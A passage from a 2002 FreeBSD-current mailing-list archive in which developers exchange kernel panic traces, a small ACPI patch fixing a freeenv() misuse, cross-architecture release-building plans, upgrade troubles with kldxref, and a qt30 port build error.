<20020424192729.B41107@rigel.grass.st> References: <20020424144313.A41107@rigel.grass.st> <200204241217.g3OCHRNe019986@freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0i In-Reply-To: <200204241217.g3OCHRNe019986@freebsd.dk>; from sos@freebsd.dk on Wed, Apr 24, 2002 at 02:17:27PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 02:17:27PM +0200, Sřren Schmidt wrote: > It seems mika ruohotie wrote: > > i might be able to provide more information if this sounds like > > something which shouldnt be happening. (trace, whatever needed) > That would be most helpfull, where does it panic, what is the > panic message ? panic: bad ivar read request (4) Debugger("panic") Stopped at Debugger+0x40: xorl %eax,%eax db> trace Debugger(c03c241c) at Debugger+0x40 panic(c057a399,4,d7bdf070,ce4e0c00,d7c2ce00) at panic+0x70 acpi_read_ivar(ce4e0c00,d7c2bc80,4,c05aebb8) at acpi_read_ivar+0x9b ata_pci_match(d7c2ce00) at ata_pci_match+0x918 ata_pci_probe(d7c2ce00,d7c2ce00,d7c2e780,d7c2ce00,0) at ata_pci_probe+0xd device_probe_child(d7c2e780,d7c2ce00,d7c2ce00,d7c2bc80,d7c2e780) at device_probe_child+0xca device_probe_and_attach(d7c2ce00) at device_peobe_and_attach+0x41 bus_generic_attach(d7c2e780,d7c2e780,d6928280,ce4e0c00,1) at bus_generic_attach+0x16 device_probe_and_attach(d7c2e780) at device_probe_and_attach+0x9a bus_generic_attach(d7c2bc80,d7bd5090,ce4e0c00,d7c2bc80,c05aec90) at bus_generic_attach+0x16 acpi_pcib_attach(d7c2bc80,d7c2bc80,ce4e0c00,ce4e0c00,0) at acpi_pcib_attach+0x1d7 device_probe_and_attach(d7c2bc80) at device_probe_and_attach+0x9a bus_generic_attach(ce4e0c00,ce4e0ba0,ce4e0b80,ce4b23e0,c05aecf8) at bus_generic_attach+0x16 i hope that's enough, had to type that by hand... =) > -Sřren mickey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 9:44:13 2002 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 9164737B41C; Wed, 24 Apr 2002 09:44:08 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g3OGi7478446; Thu, 25 Apr 2002 01:44:07 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: current@FreeBSD.org, re@FreeBSD.org, matusita@FreeBSD.org In-Reply-To: <20020424151201.GA94711@sunbay.com> References: <20020424151201.GA94711@sunbay.com> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 23 From: Makoto Matsushita To: ru@FreeBSD.org Subject: Re: Cross-platform releases Date: Thu, 25 Apr 2002 01:44:04 +0900 Message-Id: <20020425014404T.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ru> This is just a heads up for anyone interested that I have just ru> started working on a cross-platform "make release" issue so that ru> "make release TARGET_ARCH=alpha" on an i386 box would produce a ru> working Alpha release. Wonderful! If there are any tasks I can help for you, feel free to email me. My buildboxes are awaiting more jobs to do, but myself is awaiting more spare times to do :-( ru> The next task will be to support cross-branch "make releases" ru> so that a 4.x box could be used to produce a 5.0 snapshot. It seems that there are 2 problems; some syscall issue, and md/vn device issue. However, IIRC, the latter problem was already resolved by nyan-san. ru> Supporting non-root "make release"s might be a good idea too. This requires that non-root uses vn/md device... -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 9:47:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from h132-197-179-27.gte.com (h132-197-179-27.gte.com [132.197.179.27]) by hub.freebsd.org (Postfix) with ESMTP id 4F9FE37B400 for ; Wed, 24 Apr 2002 09:47:11 -0700 (PDT) Received: from kanpc.gte.com (localhost [IPv6:::1]) by h132-197-179-27.gte.com (8.12.3/8.12.3) with ESMTP id g3OGl9Fk000502 for ; Wed, 24 Apr 2002 12:47:10 -0400 (EDT) (envelope-from ak03@kanpc.gte.com) Received: (from ak03@localhost) by kanpc.gte.com (8.12.3/8.12.3/Submit) id g3OGl9CY000501; Wed, 24 Apr 2002 12:47:09 -0400 (EDT) Date: Wed, 24 Apr 2002 12:47:09 -0400 From: Alexander Kabaev To: current@freebsd.org Subject: CURRENT panic + patch Message-Id: <20020424124709.1b065bd5.ak03@gte.com> Organization: Verizon Data Services X-Mailer: Sylpheed version 0.7.4claws95 (GTK+ 1.2.10; i386-portbld-freebsd5.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Calling freeenv with the pointerm different from one received from getenv seldom is a good idea :) Indeed, CURRENT panics with the following stack trace (patch below fixes that): _mtx_lock_sleep(c08300e4,0,c03644b1,649,c08300e4) at _mtx_lock_sleep+0x122 _mtx_lock_flags(c08300e4,0,c03644b1,649,c03a7b60) at _mtx_lock_flags+0x67 uma_zfree_arg(c0830000,cca34d5f,cca34ef8,cca34d5f,5) at uma_zfree_arg+0x3e free(cca34d5f,c03a7b60,c04ddc44,c015d9ce,cca34d5f) at free+0x6c freeenv(cca34d5f,cca41070,cc3d5100,c04ddc60,c04ddc64) at freeenv+0x1a acpi_disabled(c0326287) at acpi_disabled+0x96 acpi_ec_probe(ccac1100,ccac1100,cc3d5100,ccac1100,0) at acpi_ec_probe+0x96 device_probe_child(cc3d5100,ccac1100,ccac1100,cc3d5100,cc3d5100) at device_probe_child+0xce device_probe_and_attach(ccac1100) at device_probe_and_attach+0x41 bus_generic_attach(cc3d5100,cc3d5100,c6d83f20,c6d83f00,c6d5a700) at bus_generic_attach+0x16 acpi_probe_children(cc3d5100) at acpi_probe_children+0x6a acpi_attach(cc3d5100,cc3d5100,cc3d5a00,cc3d5a00,1) at acpi_attach+0x2bd device_probe_and_attach(cc3d5100) at device_probe_and_attach+0x9a bus_generic_attach(cc3d5a00,cca6b090,cc3d5c80,c04ddd5c,c020ad66) at bus_generic_attach+0x16 nexus_attach(cc3d5a00,cc3d5a00,c037ace4,4e2000,1) at nexus_attach+0xe device_probe_and_attach(cc3d5a00) at device_probe_and_attach+0x9a root_bus_configure(cc3d5c80,c03675a0,0,4) at root_bus_configure+0x16 configure(0,4dac00,4da000,0,c0130d3c) at configure+0x22 mi_startup() at mi_startup+0x95 begin() at begin+0x43 Index: acpi.c =================================================================== RCS file: /usr/ncvs/src/sys/dev/acpica/acpi.c,v retrieving revision 1.60 diff -u -r1.60 acpi.c --- acpi.c 19 Apr 2002 23:36:38 -0000 1.60 +++ acpi.c 24 Apr 2002 16:33:24 -0000 @@ -1590,17 +1590,18 @@ int acpi_disabled(char *subsys) { - char *cp; + char *cp, *env; int len; - if ((cp = getenv("debug.acpi.disable")) == NULL) + if ((env = getenv("debug.acpi.disable")) == NULL) return(0); - if (!strcmp(cp, "all")) { - freeenv(cp); + if (!strcmp(env, "all")) { + freeenv(env); return(1); } /* scan the disable list checking for a match */ + cp = env; for (;;) { while ((*cp != 0) && isspace(*cp)) cp++; @@ -1610,12 +1611,12 @@ while ((cp[len] != 0) && !isspace(cp[len])) len++; if (!strncmp(cp, subsys, len)) { - freeenv(cp); + freeenv(env); return(1); } cp += len; } - freeenv(cp); + freeenv(env); return(0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 10: 6:40 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 40A2C37B419 for ; Wed, 24 Apr 2002 10:06:36 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1920) id 0B42DAE03F; Wed, 24 Apr 2002 10:06:36 -0700 (PDT) Date: Wed, 24 Apr 2002 10:06:35 -0700 From: Maxime Henrion To: current@FreeBSD.org Cc: Alexander Kabaev Subject: Re: CURRENT panic + patch Message-ID: <20020424170635.GJ88736@elvis.mu.org> References: <20020424124709.1b065bd5.ak03@gte.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020424124709.1b065bd5.ak03@gte.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alexander Kabaev wrote: > Calling freeenv with the pointerm different from one received from > getenv seldom is a good idea :) [...] Indeed. Sorry for this yet another freeenv() breakage ; this patch looks good. Maxime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 10:19: 8 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp3.wanadoo.nl (smtp3.wanadoo.nl [194.134.35.186]) by hub.freebsd.org (Postfix) with ESMTP id 672F637B41E; Wed, 24 Apr 2002 10:19:02 -0700 (PDT) Received: from ams-gw.sohara.org (i0996.vwr.wanadoo.nl [194.134.211.232]) by smtp3.wanadoo.nl (8.11.3/8.11.3) with SMTP id g3OHIuv08751; Wed, 24 Apr 2002 19:18:57 +0200 (MEST) Date: Wed, 24 Apr 2002 19:18:49 +0200 From: "Steve O'Hara-Smith" To: Terry Lambert Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-Id: <20020424191849.3a81b126.steve@sohara.org> In-Reply-To: <3CC40A62.B40E816F@mindspring.com> References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Face: %]+HVL}K`P8>+8ZcY-WGHP6j@&mxMo9JH6_WdgIgUGH)JX/usO0%jy7T~IVgqjumD^OBqX,Kv^-GM6mlw(fI^$"QRKyZ$?xx/ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002 06:04:34 -0700 Terry Lambert wrote: TL> FreeBSD doesn't currently support bank selection. Peter was TL> working on it, last time I heard. Linux supports it, at an TL> incredible performance penalty. This inspired an off the wall thought that may be insane. Would it be possible (on a >4Gb system) to address 4Gb of RAM and write a driver to make the rest appear as a device, which could then be used for a preferred or (even neater) first level swap. -- C:>WIN | Directable Mirrors The computer obeys and wins. |A Better Way To Focus The Sun You lose and Bill collects. | licenses available - see: | http://www.sohara.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 10:31: 4 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214]) by hub.freebsd.org (Postfix) with ESMTP id 8CE9C37B41A for ; Wed, 24 Apr 2002 10:30:42 -0700 (PDT) Received: (qmail 20001 invoked from network); 24 Apr 2002 17:30:41 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail14.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 24 Apr 2002 17:30:41 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3OHUfv07375; Wed, 24 Apr 2002 13:30:41 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <003801c1eb8a$0e786530$594bfea9@bender> Date: Wed, 24 Apr 2002 13:29:49 -0400 (EDT) From: John Baldwin To: (=?iso-8859-1?Q?Christian_Fl=FCgel?=) Subject: Re: upgrade from 4.5 to current fails Cc: freebsd-current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24-Apr-2002 Christian Flügel wrote: > ----- Original Message ----- > From: "Kris Kennaway" > To: "Christian Flügel" > Cc: > Sent: Wednesday, April 24, 2002 4:05 AM > Subject: Re: upgrade from 4.5 to current fails > > >> On Tue, Apr 23, 2002 at 11:55:37PM +0200, Christian Flügel wrote: >> > Hello Folks. >> > >> > I currently try to upgrade from 4.5 STABLE to CURRENT. >> > >> > I have cvsuped my source and already made buildworld and buildkernel. >> > >> > But installworld failed with Signal 12 while installing chpass. >> >> You're attempting to upgrade incorrectly. Follow the directions >> _precisely_ and this won't happen. > > If this would work I'd gladly follow the procedure described in updating. > > make buildworld: works ok. > make buildkernel: works ok. > copy GENERIC.hints to /boot/device.hints: works ok. > make installkernel: stops with error: "kldxref not found" This is a bug in installkernel. Bug Peter Wemm peter@FreeBSD.org to fix it since he broke it. :) Or find somone else who groks the src/Makefile.inc1 stuff. The real fix is harder and involves fixing the kernel build so that modules stop being a hack and all .ko's are built in the same directory and then kldxref is run at build time as a build tool. I guess the other hack would be to change the makefiles back to ignoring failures from kldxref for now until the bigger problem is fixed. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 10:49:29 2002 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 32EF237B41D for ; Wed, 24 Apr 2002 10:49:22 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g3OHnK491748 for ; Thu, 25 Apr 2002 02:49:20 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <20020424082937.A35418@troutmask.apl.washington.edu> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 10 From: Makoto Matsushita To: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails Date: Thu, 25 Apr 2002 02:49:18 +0900 Message-Id: <20020425024918N.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG sgk> Note the Error code 1(ignored). That's right, it's not an actual *error*. However, we have seen such a report so many, many times. We may want to consider changing src/sys/conf/kmod.mk to shut it up. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 10:51: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 8CD9937B417 for ; Wed, 24 Apr 2002 10:50:38 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1920) id BB205AE2C5; Wed, 24 Apr 2002 10:50:27 -0700 (PDT) Date: Wed, 24 Apr 2002 10:50:27 -0700 From: Maxime Henrion To: current@FreeBSD.org Cc: Alexander Kabaev Subject: Re: CURRENT panic + patch Message-ID: <20020424175027.GL88736@elvis.mu.org> References: <20020424124709.1b065bd5.ak03@gte.com> <20020424170635.GJ88736@elvis.mu.org> <20020424131408.70783477.ak03@gte.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020424131408.70783477.ak03@gte.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alexander Kabaev wrote: > > Hint: Now if only someone could commit it ... Done, thanks. Maxime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 11: 2:27 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout11.sul.t-online.com (mailout11.sul.t-online.com [194.25.134.85]) by hub.freebsd.org (Postfix) with ESMTP id EEFE637B416; Wed, 24 Apr 2002 11:02:22 -0700 (PDT) Received: from fwd00.sul.t-online.de by mailout11.sul.t-online.com with smtp id 170QU3-0001o6-00; Wed, 24 Apr 2002 19:23:11 +0200 Received: from Magelan.Leidinger.net (520065502893-0001@[80.131.120.203]) by fmrl00.sul.t-online.com with esmtp id 170QTp-1DCsK0C; Wed, 24 Apr 2002 19:22:57 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.12.3/8.12.3) with ESMTP id g3OHNLEi000541; Wed, 24 Apr 2002 19:23:25 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200204241723.g3OHNLEi000541@Magelan.Leidinger.net> Date: Wed, 24 Apr 2002 19:23:21 +0200 (CEST) From: Alexander Leidinger Subject: panic at shutdown, ums related? To: current@freebsd.org Cc: joe@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii X-Sender: 520065502893-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, backtrace from the console, no core dump: panic: Removing other than first element usb_transfer_complete uhci_device_intr_abort usbd_ar_pipe usbd_abort_pipe ums_disable ums_close spec_close ... It seems I may get it at every shutdown, so if there's something I should look at... Bye, Alexander. -- The three Rs of Microsoft support: Retry, Reboot, Reinstall. http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint = C518 BC70 E67F 143F BE91 3365 79E2 9C60 B006 3FE7 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 11: 9: 9 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 6F61137B429; Wed, 24 Apr 2002 11:08:42 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3OI7ln13257; Wed, 24 Apr 2002 21:07:47 +0300 (EEST) (envelope-from ru) Date: Wed, 24 Apr 2002 21:07:47 +0300 From: Ruslan Ermilov To: Makoto Matsushita Cc: current@FreeBSD.org, re@FreeBSD.org, matusita@FreeBSD.org Subject: Re: Cross-platform releases Message-ID: <20020424180747.GA12943@sunbay.com> References: <20020424151201.GA94711@sunbay.com> <20020425014404T.matusita@jp.FreeBSD.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy" Content-Disposition: inline In-Reply-To: <20020425014404T.matusita@jp.FreeBSD.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --gBBFr7Ir9EOA20Yy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Apr 25, 2002 at 01:44:04AM +0900, Makoto Matsushita wrote: >=20 > ru> This is just a heads up for anyone interested that I have just > ru> started working on a cross-platform "make release" issue so that > ru> "make release TARGET_ARCH=3Dalpha" on an i386 box would produce a > ru> working Alpha release. >=20 > Wonderful! If there are any tasks I can help for you, feel free to > email me. My buildboxes are awaiting more jobs to do, but myself is > awaiting more spare times to do :-( >=20 A fast -CURRENT box with root access for "make release" would be highly appreciated. My 500MHz Celeron is too slow for this. > ru> The next task will be to support cross-branch "make releases" > ru> so that a 4.x box could be used to produce a 5.0 snapshot. >=20 > It seems that there are 2 problems; some syscall issue, and md/vn > device issue. However, IIRC, the latter problem was already resolved > by nyan-san. >=20 There are no syscall issues in my version because I do not do a second "installworld". > ru> Supporting non-root "make release"s might be a good idea too. >=20 > This requires that non-root uses vn/md device... >=20 I realize that, there are some prerequisites for this too, like setting vfs.usermount=3D1. More about this later. I estimate that 30% is already done. :-) Time to sleep now. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --gBBFr7Ir9EOA20Yy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xvRzUkv4P6juNwoRAih3AJ95oIbpEt+EKI5DgrDypT71uS3rxQCgiiRG 4V4i1lonqZAU1CXUfH/P2hQ= =V3WD -----END PGP SIGNATURE----- --gBBFr7Ir9EOA20Yy-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 11:28:29 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20]) by hub.freebsd.org (Postfix) with ESMTP id CB3F737B41B for ; Wed, 24 Apr 2002 11:28:23 -0700 (PDT) Received: from fwd02.sul.t-online.de by mailout08.sul.t-online.com with smtp id 170P1w-0003uA-06; Wed, 24 Apr 2002 17:50:04 +0200 Received: from bender (310048585289-0001@[217.80.84.94]) by fwd02.sul.t-online.com with smtp id 170P1o-02VMdEC; Wed, 24 Apr 2002 17:49:56 +0200 Message-ID: <001e01c1eba7$ad27ff70$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: "Steve Kargl" Cc: References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> Subject: Re: upgrade from 4.5 to current fails Date: Wed, 24 Apr 2002 17:49:52 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Kargl" To: "Christian Flügel" Cc: Sent: Wednesday, April 24, 2002 5:29 PM Subject: Re: upgrade from 4.5 to current fails > If you start at 4.5 and upgrade to current, then the > installkernel should report > > kldxref /boot/kernel > kldxref: No Such File or Directory > > ***Error code 1(ignored) > > Note the Error code 1(ignored). ^^^^^^^^^^^ I am sure that I am not the only one who is confused by this error message. I overread the (ignored) part of the message and assumend that it was a genuine error. Nothing about this is mentioned in either UPDATING or README and it has cost me about one day to get things straight again. A quick note in UPDATING about this could have saved me a lot of time and energy. But I still get signal 12 exceptions when trying to installworld. It seems to me that the install process still uses my old kernel and I am not able to load the new one. Could anybody please tell me how to achieve this? Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 12: 1: 8 2002 Delivered-To: freebsd-current@freebsd.org Received: from nebula.anchoragerescue.org (115-7-237-24-cable.anchorageak.net [24.237.7.115]) by hub.freebsd.org (Postfix) with ESMTP id A178637B420 for ; Wed, 24 Apr 2002 12:00:49 -0700 (PDT) Received: from there (galaxy.anchoragerescue.org [24.237.7.95]) by nebula.anchoragerescue.org (Postfix) with SMTP id 0CD362E9 for ; Wed, 24 Apr 2002 10:58:40 -0800 (AKDT) Content-Type: text/plain; charset="iso-8859-1" From: Beech Rintoul Reply-To: akbeech@sinbad.net To: freebsd-current@freebsd.org Subject: Errors in qt30 build Date: Wed, 24 Apr 2002 10:58:39 -0800 X-Mailer: KMail [version 1.3.2] Organization: Sinbad Network Communications MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020424185840.0CD362E9@nebula.anchoragerescue.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I tried building qt-3 today and it errors with the following: gmake[1]: Entering directory `/usr/ports/x11-toolkits/qt30/work/qt-copy-3.0.3/src' g++ -c -pipe -fno-exceptions -I/usr/local/include -Wall -W -g -pthread -D_THREAD_SAFE -fPIC -DQT_SHARED -DQT_THREAD_SUPPORT -DQT_THREAD_SUPPORT -DQT_NO_NIS -DQT_NO_IMAGEIO_MNG -DQT_NO_IMAGEIO_JPEG -DQT_BUILTIN_GIF_READER=1 -DQT_NO_STYLE_AQUA -DQT_NO_STYLE_MAC -DQT_NO_STYLE_INTERLACE -DQT_NO_STYLE_COMPACT -I/usr/local/include/freetype2 -I/usr/local/include -I/usr/ports/x11-toolkits/qt30/work/qt-copy-3.0.3/include -I/usr/X11R6/include -I.moc/debug-mt/ -I/usr/ports/x11-toolkits/qt30/work/qt-copy-3.0.3/mkspecs/freebsd-g++ -o .obj/debug-mt/qapplication_x11.o kernel/qapplication_x11.cpp In file included from kernel/qinputcontext_p.h:5, from kernel/qapplication_x11.cpp:77: kernel/qt_x11.h:132: X11/extensions/Xinerama.h: No such file or directory In file included from kernel/qt_x11.h:143, from kernel/qinputcontext_p.h:5, from kernel/qapplication_x11.cpp:77: /usr/X11R6/include/X11/Xft/XftFreetype.h:34: syntax error before `;' /usr/X11R6/include/X11/Xft/XftFreetype.h:37: syntax error before `;' /usr/X11R6/include/X11/Xft/XftFreetype.h:41: syntax error before `;' /usr/X11R6/include/X11/Xft/XftFreetype.h:54: syntax error before `;' /usr/X11R6/include/X11/Xft/XftFreetype.h:71: syntax error before `,' gmake[1]: *** [.obj/debug-mt/qapplication_x11.o] Error 1 gmake[1]: Leaving directory `/usr/ports/x11-toolkits/qt30/work/qt-copy-3.0.3/src' gmake: *** [sub-src] Error 2 *** Error code 2 I'm running -current (monday build). Any suggestions? Beech -- ------------------------------------------------------------------- Beech Rintoul - SysAdmin - akbeech@sinbad.net /"\ ASCII Ribbon Campaign | Sinbad Network Communications \ / - NO HTML/RTF in e-mail | 3101 Penland Parkway #K-38 X - NO Word docs in e-mail | Anchorage, AK 99508-1957 / \ ----------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 13: 0:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from savi2.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id A783737B41E for ; Wed, 24 Apr 2002 13:00:34 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by savi2.estpak.ee (Postfix) with ESMTP id 8E75173510; Wed, 24 Apr 2002 22:59:51 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.3/8.12.3) with ESMTP id g3OJxw9o070864; Wed, 24 Apr 2002 22:59:58 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.3/8.12.3/Submit) id g3OJxvWo070863; Wed, 24 Apr 2002 22:59:57 +0300 (EEST) Date: Wed, 24 Apr 2002 22:59:57 +0300 From: Vallo Kallaste To: Kyle Butt Cc: current@FreeBSD.ORG Subject: Re: UTF-8 support. Message-ID: <20020424195957.GA70766@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <87d6wp83s1.wl@kylebutt.dorms.usu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: 